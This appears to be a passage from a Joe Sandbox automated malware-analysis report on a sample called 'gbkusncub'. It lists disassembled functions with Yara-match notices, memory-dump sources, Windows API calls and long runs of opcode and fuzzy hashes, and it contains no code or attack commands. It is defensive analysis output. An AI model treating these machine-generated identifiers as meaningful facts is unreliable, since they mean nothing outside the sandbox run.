                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $ $O$S$\$\$a$a$a$a$a$e$e$i$l$o$o$p$r$t
                                                                                                                                                        • API String ID: 0-815130641
                                                                                                                                                        • Opcode ID: 892c7fcd245bc14c74ddda9e81b9d42b6126d713940d97fffabf9cc3c2d66b37
                                                                                                                                                        • Instruction ID: 7ec0bb4ccb410b987331f082e50f54508a10a32b8c0c6a9313e20ac0a6edbef1
                                                                                                                                                        • Opcode Fuzzy Hash: 892c7fcd245bc14c74ddda9e81b9d42b6126d713940d97fffabf9cc3c2d66b37
                                                                                                                                                        • Instruction Fuzzy Hash: 742130B0D01318DAEB209FC598597DDBFBAAB41718F54411CE6142F282D7F61588CFA5
                                                                                                                                                        Function 013A23B0 Relevance: 24.0, Strings: 19, Instructions: 251COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: C$D$I$\$a$a$c$e$e$l$n$o$o$r$r$s$s$t$y
                                                                                                                                                        • API String ID: 0-2101568155
                                                                                                                                                        • Opcode ID: e035523b3853d21de345318ec1de4493b11bb82d2cb0c6955c3a29e690d7734d
                                                                                                                                                        • Instruction ID: 93a9208afb2465a252b9b66ce66b9cfa07d6d2c77c529a21485cde03e70efc4a
                                                                                                                                                        • Opcode Fuzzy Hash: e035523b3853d21de345318ec1de4493b11bb82d2cb0c6955c3a29e690d7734d
                                                                                                                                                        • Instruction Fuzzy Hash: 5991D9B1900209ABEB10DF94DC81FFFB7BDEF54708F404199EA08AB241E7B55A44CBA5
                                                                                                                                                        Function 013A23AF Relevance: 23.9, Strings: 19, Instructions: 155COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: C$D$I$\$a$a$c$e$e$l$n$o$o$r$r$s$s$t$y
                                                                                                                                                        • API String ID: 0-2101568155
                                                                                                                                                        • Opcode ID: 1866af008dedbc48aea21444ac5f323228a118ba3d67368b82110adf57a8ef03
                                                                                                                                                        • Instruction ID: 621260f7187bbfa93d1abd78676e8d6fe5b5f39fea14b706761d6cb7573f589b
                                                                                                                                                        • Opcode Fuzzy Hash: 1866af008dedbc48aea21444ac5f323228a118ba3d67368b82110adf57a8ef03
                                                                                                                                                        • Instruction Fuzzy Hash: BB51A4B1900319AEEF10DF94CC41FEEBBB9EF55704F404199E908AB241E7B55B84CBA5
                                                                                                                                                        Function 01376B38 Relevance: 23.9, Strings: 19, Instructions: 142COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: .$I$O$R$V$_$c$k$l$n$o$r$r$r$t$t$u$v$x
                                                                                                                                                        • API String ID: 0-784799069
                                                                                                                                                        • Opcode ID: 7dc1dea192f0346d6c26f5463c3ccf090b6837706926a3106ff9e38ff8e244e2
                                                                                                                                                        • Instruction ID: f589a787ef7cfeab17096a212d1b76849ef720b08cdf8a8beb345965a262ba7c
                                                                                                                                                        • Opcode Fuzzy Hash: 7dc1dea192f0346d6c26f5463c3ccf090b6837706926a3106ff9e38ff8e244e2
                                                                                                                                                        • Instruction Fuzzy Hash: 355122B5D0021D9EEF20DF98CC45BEEBBB9FF15304F004159E518A7241E7B95A498FA1
                                                                                                                                                        Function 0139F320 Relevance: 21.6, Strings: 17, Instructions: 300COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: -$[$[$[$[$[$]$]$]$]$]$a$e$e$l$n$s
                                                                                                                                                        • API String ID: 0-2169243036
                                                                                                                                                        • Opcode ID: 72ae333f6814826a97a0dbdf6d3002a4701ee926d7c8f7098e71f9a0ea5d2682
                                                                                                                                                        • Instruction ID: 53ef9a5f7c6df13b779f1821d3d888952d97313bf3f6268d73d5a5aa6e02c9d4
                                                                                                                                                        • Opcode Fuzzy Hash: 72ae333f6814826a97a0dbdf6d3002a4701ee926d7c8f7098e71f9a0ea5d2682
                                                                                                                                                        • Instruction Fuzzy Hash: EAA1D6B1940704BAFB20AFB8CC46FEF76BCDF5570CF444609F619AA181DBB465048BA9
                                                                                                                                                        Function 007120D8 Relevance: 18.1, APIs: 12, Instructions: 137COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 007121E4: GetWindowLongW.USER32(?,000000EB), ref: 007121F2
                                                                                                                                                        • GetSysColor.USER32(0000000F), ref: 00712102
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ColorLongWindow
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 259745315-0
                                                                                                                                                        • Opcode ID: f48655825e041a46d927039b510aaf41b4b9f7540f05184c2a18afd89fc81970
                                                                                                                                                        • Instruction ID: 7ff72a0cfaf8d2ea02026438808ac3022baa756108c95142e72b8296dbe957e4
                                                                                                                                                        • Opcode Fuzzy Hash: f48655825e041a46d927039b510aaf41b4b9f7540f05184c2a18afd89fc81970
                                                                                                                                                        • Instruction Fuzzy Hash: 4D41D471100648AFDB309F3CDC48BFA3765EB42361F148605FAA2872E2D7798D93A714
                                                                                                                                                        Function 01379558 Relevance: 17.8, Strings: 14, Instructions: 250COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: .$a$a$e$e$e$g$g$i$i$i$j$p$p
                                                                                                                                                        • API String ID: 0-4291551930
                                                                                                                                                        • Opcode ID: 19db8b82f711688a840a9d36cdbbe2a999c4afd0247c35e40b93f075b18263f9
                                                                                                                                                        • Instruction ID: b43ae47ea8e643cd02502b383269f3cfecad6a4e41f5dc3d55492ea0d08c53a9
                                                                                                                                                        • Opcode Fuzzy Hash: 19db8b82f711688a840a9d36cdbbe2a999c4afd0247c35e40b93f075b18263f9
                                                                                                                                                        • Instruction Fuzzy Hash: 0C912E71900708EBDB30DF99CC80BAEBBB9BF88718F14465EE509A7640D775AA44CB61
                                                                                                                                                        Function 013A7960 Relevance: 17.8, Strings: 14, Instructions: 250COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: .$a$a$e$e$e$g$g$i$i$i$j$p$p
                                                                                                                                                        • API String ID: 0-4291551930
                                                                                                                                                        • Opcode ID: 19db8b82f711688a840a9d36cdbbe2a999c4afd0247c35e40b93f075b18263f9
                                                                                                                                                        • Instruction ID: 43ae398cb1de6bbae857698a6a085bf07dd7eee3c6354eaf5831baffd6dfa8af
                                                                                                                                                        • Opcode Fuzzy Hash: 19db8b82f711688a840a9d36cdbbe2a999c4afd0247c35e40b93f075b18263f9
                                                                                                                                                        • Instruction Fuzzy Hash: 039110B1900708ABEB30DF99CCC0FAAB7B9EF88704F544659E509A7640E775AA448B61
                                                                                                                                                        Function 0137954B Relevance: 17.7, Strings: 14, Instructions: 245COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: .$a$a$e$e$e$g$g$i$i$i$j$p$p
                                                                                                                                                        • API String ID: 0-4291551930
                                                                                                                                                        • Opcode ID: e932a2e850ade7e88a5925c2187ec1c72caebc73fa03277135c1f26b77f57856
                                                                                                                                                        • Instruction ID: 5cbb0fbff311f40eab899575a5162288defda937aa7411e1a8b0b85039c7b172
                                                                                                                                                        • Opcode Fuzzy Hash: e932a2e850ade7e88a5925c2187ec1c72caebc73fa03277135c1f26b77f57856
                                                                                                                                                        • Instruction Fuzzy Hash: 17913E71900704EFDB30DF98CC80BAABBB9BF88718F14465EE509A7641D775AA48CF60
                                                                                                                                                        Function 013A7953 Relevance: 17.7, Strings: 14, Instructions: 245COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: .$a$a$e$e$e$g$g$i$i$i$j$p$p
                                                                                                                                                        • API String ID: 0-4291551930
                                                                                                                                                        • Opcode ID: e932a2e850ade7e88a5925c2187ec1c72caebc73fa03277135c1f26b77f57856
                                                                                                                                                        • Instruction ID: 0383ce4fca9810cd6c28b5e3c3c201ea127b98d7752997dd7c36e9444b6c9047
                                                                                                                                                        • Opcode Fuzzy Hash: e932a2e850ade7e88a5925c2187ec1c72caebc73fa03277135c1f26b77f57856
                                                                                                                                                        • Instruction Fuzzy Hash: 9C912DB1900705EFEB20DF98CCC0FAABBB5EF88704F544659E509A7640E775AA44CF61
                                                                                                                                                        Function 013A1320 Relevance: 16.4, Strings: 13, Instructions: 173COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $.$F$P$e$i$l$m$o$o$r$s$x
                                                                                                                                                        • API String ID: 0-392141074
                                                                                                                                                        • Opcode ID: 4304c52a37df9bab2e6fdeb3a729006920994cb8c0fdbbe2b07e016860258d3d
                                                                                                                                                        • Instruction ID: 3595b327f39e1b25937c7100e811e3d29786849193abd2d892fcf0cd53dd46d4
                                                                                                                                                        • Opcode Fuzzy Hash: 4304c52a37df9bab2e6fdeb3a729006920994cb8c0fdbbe2b07e016860258d3d
                                                                                                                                                        • Instruction Fuzzy Hash: A86161B1D11318AAEB20DF98CC85FEEB7B9FF18704F44419DE509A7181EBB096448FA5
                                                                                                                                                        Function 013742D8 Relevance: 15.1, Strings: 12, Instructions: 121COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: F$P$T$T$d$d$f$i$r$r$u$x
                                                                                                                                                        • API String ID: 0-2987356081
                                                                                                                                                        • Opcode ID: 3b5057aaed0ec8ec37895c3a4dfaa8f1d799b1828246d022c84fe55f6b33efa9
                                                                                                                                                        • Instruction ID: a39b2910c53365e5d192507dd3726015dab3d5cdb7ed85e1685b1d2b8c6d5d93
                                                                                                                                                        • Opcode Fuzzy Hash: 3b5057aaed0ec8ec37895c3a4dfaa8f1d799b1828246d022c84fe55f6b33efa9
                                                                                                                                                        • Instruction Fuzzy Hash: FF4184B1C00219AAEB30EF998C85AFF7AFDFF55708F00811DE51866180E7B95149CBA1
                                                                                                                                                        Function 013A26E0 Relevance: 15.1, Strings: 12, Instructions: 121COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: F$P$T$T$d$d$f$i$r$r$u$x
                                                                                                                                                        • API String ID: 0-2987356081
                                                                                                                                                        • Opcode ID: 3b5057aaed0ec8ec37895c3a4dfaa8f1d799b1828246d022c84fe55f6b33efa9
                                                                                                                                                        • Instruction ID: 9c6665759d7c47f1d5de54cffdaeb54ebfc97f698cb8067c01ad472e961dcf67
                                                                                                                                                        • Opcode Fuzzy Hash: 3b5057aaed0ec8ec37895c3a4dfaa8f1d799b1828246d022c84fe55f6b33efa9
                                                                                                                                                        • Instruction Fuzzy Hash: E541A571C00215AAEB20EF999C44FFFBBBCFF55718F80810DE50866191E7B51649CBA1
                                                                                                                                                        Function 0077A12A Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00755437,?,?,Bad directive syntax error,007ADCD0,00000000,00000010,?,?), ref: 0077A14B
                                                                                                                                                        • LoadStringW.USER32(00000000,?,00755437,?), ref: 0077A152
                                                                                                                                                          • Part of subcall function 0071B25F: _wcslen.LIBCMT ref: 0071B269
                                                                                                                                                        • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 0077A216
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: HandleLoadMessageModuleString_wcslen
                                                                                                                                                        • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                                                                                                                        • API String ID: 858772685-4153970271
                                                                                                                                                        • Opcode ID: aa2f8e6f3b2964f95fbc80ace2b2d4a9d92955c5206272d36556fa949a61c896
                                                                                                                                                        • Instruction ID: b7391c51ccb79b6484aa33385cf880a72a6b8ac030a70c92d7f723d4fdeea53b
                                                                                                                                                        • Opcode Fuzzy Hash: aa2f8e6f3b2964f95fbc80ace2b2d4a9d92955c5206272d36556fa949a61c896
                                                                                                                                                        • Instruction Fuzzy Hash: 6521B17180025EFFDF16AF94CC0AEEE7B35BF18304F048455F505650E2EA799A58DB11
                                                                                                                                                        Function 013693D8 Relevance: 13.9, Strings: 11, Instructions: 124COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: D$\$e$e$i$l$n$r$r$w$x
                                                                                                                                                        • API String ID: 0-685823316
                                                                                                                                                        • Opcode ID: dc60bd71082043a3fb2e1051fbf24d029c391a62086c2f54150fd3269a0c2a24
                                                                                                                                                        • Instruction ID: 7a73fdd3f858c93d15a95a5706d2708d96b1b9f1b40214a5a8b121e1f2bb0d94
                                                                                                                                                        • Opcode Fuzzy Hash: dc60bd71082043a3fb2e1051fbf24d029c391a62086c2f54150fd3269a0c2a24
                                                                                                                                                        • Instruction Fuzzy Hash: 51412BB2D00208AFEB10DFD5CCC4AEEBBBDFB49308F40855DE618A6200DB755A49CB61
                                                                                                                                                        Function 013977E0 Relevance: 13.9, Strings: 11, Instructions: 124COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: D$\$e$e$i$l$n$r$r$w$x
                                                                                                                                                        • API String ID: 0-685823316
                                                                                                                                                        • Opcode ID: dc60bd71082043a3fb2e1051fbf24d029c391a62086c2f54150fd3269a0c2a24
                                                                                                                                                        • Instruction ID: 427e62cd675c740f0e353e9d6903b046b383e7680f19dac92b7a66f137106b1f
                                                                                                                                                        • Opcode Fuzzy Hash: dc60bd71082043a3fb2e1051fbf24d029c391a62086c2f54150fd3269a0c2a24
                                                                                                                                                        • Instruction Fuzzy Hash: F64139B2D0021CAFEB10DFD5CC84AEEBBBDFB48318F40855DE619A6240D7755A488BA1
                                                                                                                                                        Function 01396030 Relevance: 13.8, Strings: 11, Instructions: 82COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: D$\$e$e$i$l$n$r$r$w$x
                                                                                                                                                        • API String ID: 0-685823316
                                                                                                                                                        • Opcode ID: a835cf36cf2a57d73edd67a22ba348744f17f61fb79c1680fe3ff8e4e346a4e7
                                                                                                                                                        • Instruction ID: ae689f2ec1796fcd2e030c7a588b32a08f8c42a49a029ec661a0a6accc4615ca
                                                                                                                                                        • Opcode Fuzzy Hash: a835cf36cf2a57d73edd67a22ba348744f17f61fb79c1680fe3ff8e4e346a4e7
                                                                                                                                                        • Instruction Fuzzy Hash: 382182B1D51218AAEF50DFE4CC45BEEBBB9BF08704F44815CE608BA180DBB556488BA4
                                                                                                                                                        Function 01396028 Relevance: 13.8, Strings: 11, Instructions: 80COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: D$\$e$e$i$l$n$r$r$w$x
                                                                                                                                                        • API String ID: 0-685823316
                                                                                                                                                        • Opcode ID: 8d5cc2a194cd81f6ae00cdda25019a1e1d9b53ef18dbe3f81c86a6a83834ea4f
                                                                                                                                                        • Instruction ID: 857cdedf653935a1bd29029bb3cd1140c91a9cc760ce096082e1415a2c686a7c
                                                                                                                                                        • Opcode Fuzzy Hash: 8d5cc2a194cd81f6ae00cdda25019a1e1d9b53ef18dbe3f81c86a6a83834ea4f
                                                                                                                                                        • Instruction Fuzzy Hash: B5217EB1D51218AAEF40DFD4CC85BEEBBB9BF18704F44815DE608BA180DBB55648CBA4
                                                                                                                                                        Function 00772093 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00771CD9,?,?,00000000), ref: 0077209C
                                                                                                                                                        • HeapAlloc.KERNEL32(00000000,?,00771CD9,?,?,00000000), ref: 007720A3
                                                                                                                                                        • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00771CD9,?,?,00000000), ref: 007720B8
                                                                                                                                                        • GetCurrentProcess.KERNEL32(?,00000000,?,00771CD9,?,?,00000000), ref: 007720C0
                                                                                                                                                        • DuplicateHandle.KERNEL32(00000000,?,00771CD9,?,?,00000000), ref: 007720C3
                                                                                                                                                        • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00771CD9,?,?,00000000), ref: 007720D3
                                                                                                                                                        • GetCurrentProcess.KERNEL32(00771CD9,00000000,?,00771CD9,?,?,00000000), ref: 007720DB
                                                                                                                                                        • DuplicateHandle.KERNEL32(00000000,?,00771CD9,?,?,00000000), ref: 007720DE
                                                                                                                                                        • CreateThread.KERNEL32(00000000,00000000,00772104,00000000,00000000,00000000), ref: 007720F8
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1957940570-0
                                                                                                                                                        • Opcode ID: 3137798c97478028d1dab384b3779ee5dadeb165706e55e44d910a65aa7393cc
                                                                                                                                                        • Instruction ID: 2fff2eca748ff2608e2739556187f2b9d166cda6efc1fda14f6bf188470e8459
                                                                                                                                                        • Opcode Fuzzy Hash: 3137798c97478028d1dab384b3779ee5dadeb165706e55e44d910a65aa7393cc
                                                                                                                                                        • Instruction Fuzzy Hash: E501BBB5240308BFEB20ABA5DC4DF6B3BACEB89711F418411FA05DB5A1DA749C00CB25
                                                                                                                                                        Function 01376418 Relevance: 12.8, Strings: 10, Instructions: 345COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: :$:$:$A$I$N$P$m$s$t
                                                                                                                                                        • API String ID: 0-2304485323
                                                                                                                                                        • Opcode ID: 5d1c382d95a6706f43c1679cedc9ce51111cd13314b14c8a4ed39589f30fc00b
                                                                                                                                                        • Instruction ID: ffcca6745fc5ee894873ae9a811cb446f52a173db2e29d52a5269629b2c524d7
                                                                                                                                                        • Opcode Fuzzy Hash: 5d1c382d95a6706f43c1679cedc9ce51111cd13314b14c8a4ed39589f30fc00b
                                                                                                                                                        • Instruction Fuzzy Hash: 3CD1F9F5A00709ABDB60EFB8CC81FEEB7B8BF59714F00451DE115A7140EB78A9418B65
                                                                                                                                                        Function 013A4820 Relevance: 12.8, Strings: 10, Instructions: 345COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
